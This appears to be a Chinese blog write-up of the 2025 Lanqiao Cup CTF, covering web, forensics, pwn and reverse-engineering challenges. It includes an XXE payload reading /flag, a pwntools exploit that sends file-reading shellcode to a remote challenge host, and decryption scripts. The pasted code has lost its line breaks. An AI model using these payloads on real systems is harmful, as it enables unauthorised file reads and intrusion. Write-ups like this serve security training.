当前位置: 首页 > web >正文

2025蓝桥杯WP

引言

在2025年蓝桥杯网络安全赛道中,我们面对涵盖Web安全、逆向工程、PWN、取证分析以及加密解密等多领域的挑战,要求选手具备扎实且全面的安全技术与实战能力。本文将以实战记录的形式,逐题详细还原解题思路与操作步骤,并配以相应的脚本与EXP,便于后续复现与总结。通过此次挑战,不仅加深了我们对多种安全技术的理解,也锻炼了快速定位漏洞与高效利用漏洞的实战水平。

黑客密室逃脱

操作内容

跟着目录访问可以发现加密字符串
在这里插入图片描述
Bp爆破name参数发现了templates文件,发现里面有app.py文件
image-20250524101131231image-20250524101202664

读取app.py文件,发现加密文件
image-20250524101215648

app.py文件里面有hidden.txt里面有密钥

image-20250524101234270

逆向加密代码获得flag

exp
# 原始加密后的十六进制字符串
encrypted_sensitive_info = "d9d1c4d9e0abc19bcbab94986d62a8ca97d492a88fce9aa694687097a09e97d499a4969b9adb99979db2"# 转换成字节数组
encrypted = bytearray(int(encrypted_sensitive_info[i:i + 2], 16) for i in range(0, len(encrypted_sensitive_info), 2))# 打印十六进制数组形式
print("[*] Encrypted Hex:", list(encrypted))# 加密使用的 key
encryption_key = "secret_key3495"# 解密并输出明文
print("[*] Decrypted:")
for i in range(len(encrypted)):key_char = encryption_key[i % len(encryption_key)]decrypted_byte = encrypted[i] - ord(key_char)# 防止溢出负值,可视情况使用 & 0xFF 或抛弃错误字符decrypted_char = chr(decrypted_byte & 0xFF)print(decrypted_char, end="")print()
总结

本题通过目录结构的探索发现了隐藏的加密字符串,进一步利用参数爆破找到了隐藏的文件路径和加密脚本。通过对app.py中的加密逻辑逆向分析,结合hidden.txt中获取的密钥,成功完成了对加密字符串的解密。整个过程中,重点考察了对Web目录结构的敏感度、参数爆破技巧以及Python逆向分析能力。

flowzip

操作内容

wireshark打开,直接搜flag

image-20250524101344344
发现flag明文
image-20250524101354523

总结

本题通过Wireshark抓包工具直接搜索关键字“flag”,快速定位到明文内容。整体流程简洁高效,考察了对抓包分析工具的熟练使用和基本字符串搜索能力。类似题目也可用strings等工具快速提取,有助于提升对数据包内容的快速定位和分析能力。

ezEvtx

操作内容

用windows虚拟机打开日志文件

image-20250524101414132

筛选警告日志

image-20250524101428791

发现敏感文件

image-20250524101436593

总结

该题考察了对Windows事件日志的基本操作与筛选技巧。掌握evtx文件的打开和筛选,是进行Windows取证分析的基础技能。利用系统日志中隐藏的异常信息,有助于快速锁定目标和敏感数据。

Enigma

操作内容

用CyberChef打开文件,指定参数直接获得flag

image-20250524101456497

总结

本题考察对CyberChef工具的熟练使用能力。熟悉该工具能够快速尝试多种解码手段,有效提升解题效率,是日常CTF与安全分析中的实用技能。

星际XML解析器

操作内容

利用XML注入就能获得flag

image-20250524101518536

exp
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///flag" >]><foo>&xxe;</foo>
总结

本题利用了经典的XML外部实体注入(XXE)漏洞,通过构造恶意的DTD定义,读取服务器本地的敏感文件(如/flag),从而直接获取flag。此类漏洞常见于对XML解析时未关闭外部实体处理的场景,属于典型的服务端文件读取漏洞。

RuneBreach

操作内容

输入4个N,进入这里

image-20250524101603935

进入这里执行shellcode:

image-20250524101613836

image-20250524101622827

exp
from pwn import *context(os='linux', arch='amd64', log_level='debug')
# context.terminal = ['tmux', 'splitw', '-h']def debug():gdb.attach(p)# =================== 连接目标 ===================
choose = 1
if choose == 1:  # 远程success("远程")p = remote("39.106.18.186", 30899)# libc = ELF("./libc.so.6")  # 可选:如需做libc泄露
else:            # 本地success("本地")p = process("/home/kali/Desktop/haha/ctf/lqb/pwn/chall")libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')# debug()pause()# =================== 功能函数 ===================def add(size, index):p.sendlineafter(b'>', b'1')p.sendlineafter(b':', str(index).encode())p.sendlineafter(b':', str(size).encode())def free(index):p.sendlineafter(b'>', b'2')p.sendlineafter(b':', str(index).encode())def edit(index, content):p.sendlineafter(b'>', b'3')p.sendlineafter(b':', str(index).encode())p.sendafter(b':', content)def show(index):p.sendlineafter(b'>', b'4')p.sendlineafter(b':', str(index).encode())# =================== 主要逻辑 ===================# 初始化交互
for _ in range(4):p.sendlineafter(b"):", b"N")# 泄露栈地址
p.recvuntil(b"now ")
stack = eval((p.recv(14)).decode())
print("Leaked stack address:", hex(stack))# 构造 shellcode
payload  = asm(shellcraft.open('/flag'))
payload += asm(shellcraft.read(3, stack + 0x100, 0x40))
payload += asm(shellcraft.write(1, stack + 0x100, 0x40))# 发送 shellcode
p.send(payload)# =================== 保持交互 ===================
p.interactive()
总结

本题通过输入特定指令进入shellcode执行环境,并泄露了栈地址。利用该地址构造shellcode,调用系统调用读取并输出远程服务器的/flag文件。题目考察了shellcode编写和远程执行能力,结合pwntools实现自动化攻击。

ShadowPhases

操作内容

Ida在这里打断点取flag:

image-20250524101719345

image-20250524101746636

BashBreaker

操作内容

ida修改rip强行调用full_decrypt

image-20250524101812512

运行拿到key:

rc4_init函数有多一个异或:

image-20250524101828953

rc4_next后多了一个置换:

exp
def rc4(key, ciphertext):# 初始化 S 盒sbox = list(range(256))j = 0for i in range(256):j = (j + sbox[i] + (key[i % len(key)] ^ 0x37)) % 256sbox[i], sbox[j] = sbox[j], sbox[i]# 生成密钥流i = j = 0keystream = []for _ in ciphertext:i = (i + 1) % 256j = (j + sbox[i]) % 256sbox[i], sbox[j] = sbox[j], sbox[i]k = sbox[(sbox[i] + sbox[j]) % 256]k = ((k >> 4) | (k << 4)) & 0xFF  # 左右半字节互换后保留低 8 位keystream.append(k)print("keystream:", keystream)# 解密plaintext = bytearray()for i in range(len(ciphertext)):plaintext.append(ciphertext[i] ^ keystream[i])# 尝试解码成字符串(latin-1 避免乱码)try:decoded = plaintext.decode("latin-1")except UnicodeDecodeError:decoded = plaintext.hex()print("Decrypted text:", decoded)return decodedkey = bytes.fromhex("EC3700DFCD4F364EC54B19C5E7E26DEF6A25087C4FCDF4F8507A40A9019E3B48BD70129D0141A5B8F089F280F4BE6CCD")res = bytes([0xBB, 0xCA, 0x12, 0x14, 0xD0, 0xF1, 0x99, 0xA7, 0x91, 0x48,0xC3, 0x28, 0x73, 0xAD, 0xB7, 0x75, 0x8C, 0x89, 0xCD, 0xDD,0x2D, 0x50, 0x5D, 0x7F, 0x95, 0xB1, 0xA4, 0x9D, 0x09, 0x43,0xE1, 0xD2, 0xE9, 0x66, 0xEA, 0x18, 0x98, 0xC6, 0xCC, 0x02,0x39, 0x18
])rc4(key, res)
总结

本题通过IDA修改指令,强制调用解密函数获得密钥。分析发现该算法为变形RC4,初始状态和密钥流生成时都加入了额外异或和置换操作。通过复现这一逻辑实现解密,成功还原明文。此题考察了逆向分析能力和对经典加密算法变体的理解。

http://www.xdnf.cn/news/9321.html

相关文章:

  • C++学习-入门到精通【9】面向对象编程:继承
  • 青少年编程与数学 02-020 C#程序设计基础 06课题、运算符和表达式
  • 内容中台的AI驱动是什么?
  • Linux--CentOs 8配置及基础命令
  • atomic.Value与sync.map有什么区?
  • 建筑兔零基础Arduino自学记录100|简易折纸机器人-17
  • C语言中清空缓存区到底写到哪里比较好
  • 2025-05-27 Python深度学习7——损失函数和反向传播
  • 电子电路:充电宝的工作原理
  • ActiveMQ
  • UPS的工作原理和UPS系统中旁路的作用
  • Python
  • sockfd = lwip_socket,newfd = lwip_accept 有什么区别
  • Milvus索引操作和最佳实践避坑指南
  • 2025-05-27 Python深度学习6——神经网络模型
  • 【递归、搜索与回溯算法】专题一 递归
  • 从大模型加载到交互:3D Web轻量化引擎HOOPS Communicator如何打造流畅3D体验?
  • 【AUTOSAR】时间保护(Timing Protection)概念、应用与实现源代码解析(下篇)
  • Docker 挂载卷并保存为容器
  • oracle在线迁移数据文件
  • 【平面波导外腔激光器专题系列】用于光纤传感的低噪声PLC外腔窄线宽激光器
  • 【R语言编程绘图-箱线图】
  • 什么是项目突围管理,如何培养相关能力
  • c++复习(类型准换+动态数组+类与对象)
  • 三十、面向对象底层逻辑-SpringMVC九大组件之HandlerInterceptor接口设计
  • 大模型的开发应用(四):深度学习模型量化与QLoRA微调
  • WPF【11_3】WPF实战-重构与美化(可复用的UI组件)
  • 编写第一个ros程序
  • 【Python训练营打卡】day37 @浙大疏锦行
  • 吉林省CCPC与全国邀请赛(东北地区赛)游记